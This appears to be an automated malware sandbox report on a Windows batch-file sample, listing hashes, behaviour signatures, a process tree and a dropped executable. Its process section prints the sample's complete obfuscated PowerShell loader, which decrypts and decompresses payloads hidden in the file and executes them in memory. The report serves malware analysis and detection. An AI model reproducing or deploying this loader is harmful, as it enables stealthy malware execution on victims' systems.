Analysis
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max time kernel
118s -
max time network
126s -
platform
windows7_x64 -
resource
win7-20230831-en -
resource tags
arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system -
submitted
11/10/2023, 22:26
Static task
static1
Behavioral task
behavioral1
Sample
c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat
Resource
win7-20230831-en
Behavioral task
behavioral2
Sample
c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat
Resource
win10v2004-20230915-en
General
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Target
c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat
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Size
2.6MB
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MD5
12d05ccce56b71317838c1f70c434fdd
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SHA1
db2b6548661dc0ad3c19439989e1c36bf62a9ca7
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SHA256
c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e
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SHA512
79c4c072efba2838d053dd3912484e4138371eac29bd556e344c62abc1b49313bf562fcc6c613c7756c6d24ecc4203336da5aacaf9d4602eb8c5d6caa45053b2
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SSDEEP
24576:MFz0PTLOQXlNvJ9ZosU5cqcczDvwcbpSWwHt6H5P+gRnBrqYxvcpXKX6saNpWJcU:bNWTfSWwU8i8esRx7rXDdOuGC+ewAtg
Malware Config
Signatures
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Executes dropped EXE 1 IoCs
pid Process 2732 c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 2732 c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2732 c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2732 c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat.exe -
Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 2888 wrote to memory of 1308 2888 cmd.exe 30 PID 2888 wrote to memory of 1308 2888 cmd.exe 30 PID 2888 wrote to memory of 1308 2888 cmd.exe 30 PID 1308 wrote to memory of 2732 1308 cmd.exe 31 PID 1308 wrote to memory of 2732 1308 cmd.exe 31 PID 1308 wrote to memory of 2732 1308 cmd.exe 31 PID 1308 wrote to memory of 2732 1308 cmd.exe 31
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2888 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat2⤵
- Suspicious use of WriteProcessMemory
PID:1308 -
C:\Users\Admin\AppData\Local\Temp\c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat.exe"C:\Users\Admin\AppData\Local\Temp\c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat.exe" -w hidden -c $apqR='LMJyQoaMJyQdMJyQ'.Replace('MJyQ', ''),'DecEzhXomEzhXprEzhXeEzhXsEzhXsEzhX'.Replace('EzhX', ''),'FHipDrHipDoHipDmHipDBasHipDe6HipD4SHipDtrHipDingHipD'.Replace('HipD', ''),'ReaGlTbdLiGlTbneGlTbsGlTb'.Replace('GlTb', ''),'CoHbpApHbpAyTHbpAoHbpA'.Replace('HbpA', ''),'MaEheginEhegMoEhegduEheglEhegeEheg'.Replace('Eheg', ''),'TroOznansoOznfooOznroOznmFoOzninaoOznloOznBloOznockoOzn'.Replace('oOzn', ''),'ChSshoanSshogeSshoESshoxSshotSshoeSshonsiSshooSshonSsho'.Replace('Ssho', ''),'EnnHrXtrynHrXPnHrXoinnHrXtnHrX'.Replace('nHrX', ''),'IndGVtvodGVtkedGVt'.Replace('dGVt', ''),'ElSdypemSdypeSdypntSdypAtSdyp'.Replace('Sdyp', ''),'SpuMPtliuMPttuMPt'.Replace('uMPt', ''),'GaSlAeaSlAtaSlACuaSlAraSlAreaSlAntaSlAPaSlAraSlAocaSlAesaSlAsaSlA'.Replace('aSlA', ''),'CrUNafeUNafatUNafeUNafDecUNafryUNafptUNafoUNafrUNaf'.Replace('UNaf', '');function pOCfZ($gekvJ){$BSBXA=[System.Security.Cryptography.Aes]::Create();$BSBXA.Mode=[System.Security.Cryptography.CipherMode]::CBC;$BSBXA.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$BSBXA.Key=[System.Convert]::($apqR[2])('zBdPf8AkDtINuDPE/A2HyG7nwgGIz2wO8zG9RRZ4V9A=');$BSBXA.IV=[System.Convert]::($apqR[2])('xa/+kPbivBu87Qs+xDhCVw==');$JTIYa=$BSBXA.($apqR[13])();$Yaopt=$JTIYa.($apqR[6])($gekvJ,0,$gekvJ.Length);$JTIYa.Dispose();$BSBXA.Dispose();$Yaopt;}function PqvPo($gekvJ){$Pbfvo=New-Object System.IO.MemoryStream(,$gekvJ);$ojhOO=New-Object System.IO.MemoryStream;$Oxkfy=New-Object System.IO.Compression.GZipStream($Pbfvo,[IO.Compression.CompressionMode]::($apqR[1]));$Oxkfy.($apqR[4])($ojhOO);$Oxkfy.Dispose();$Pbfvo.Dispose();$ojhOO.Dispose();$ojhOO.ToArray();}$atogv=[System.Linq.Enumerable]::($apqR[10])([System.IO.File]::($apqR[3])([System.IO.Path]::($apqR[7])([System.Diagnostics.Process]::($apqR[12])().($apqR[5]).FileName, $null)), 1);$MrHap=$atogv.Substring(2).($apqR[11])(':');$llRaa=PqvPo (pOCfZ ([Convert]::($apqR[2])($MrHap[0])));$VSAoW=PqvPo (pOCfZ ([Convert]::($apqR[2])($MrHap[1])));[System.Reflection.Assembly]::($apqR[0])([byte[]]$VSAoW).($apqR[8]).($apqR[9])($null,$null);[System.Reflection.Assembly]::($apqR[0])([byte[]]$llRaa).($apqR[8]).($apqR[9])($null,$null);3⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2732
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat.exe
Filesize442KB
MD592f44e405db16ac55d97e3bfe3b132fa
SHA104c5d2b4da9a0f3fa8a45702d4256cee42d8c48d
SHA2566c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7
SHA512f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f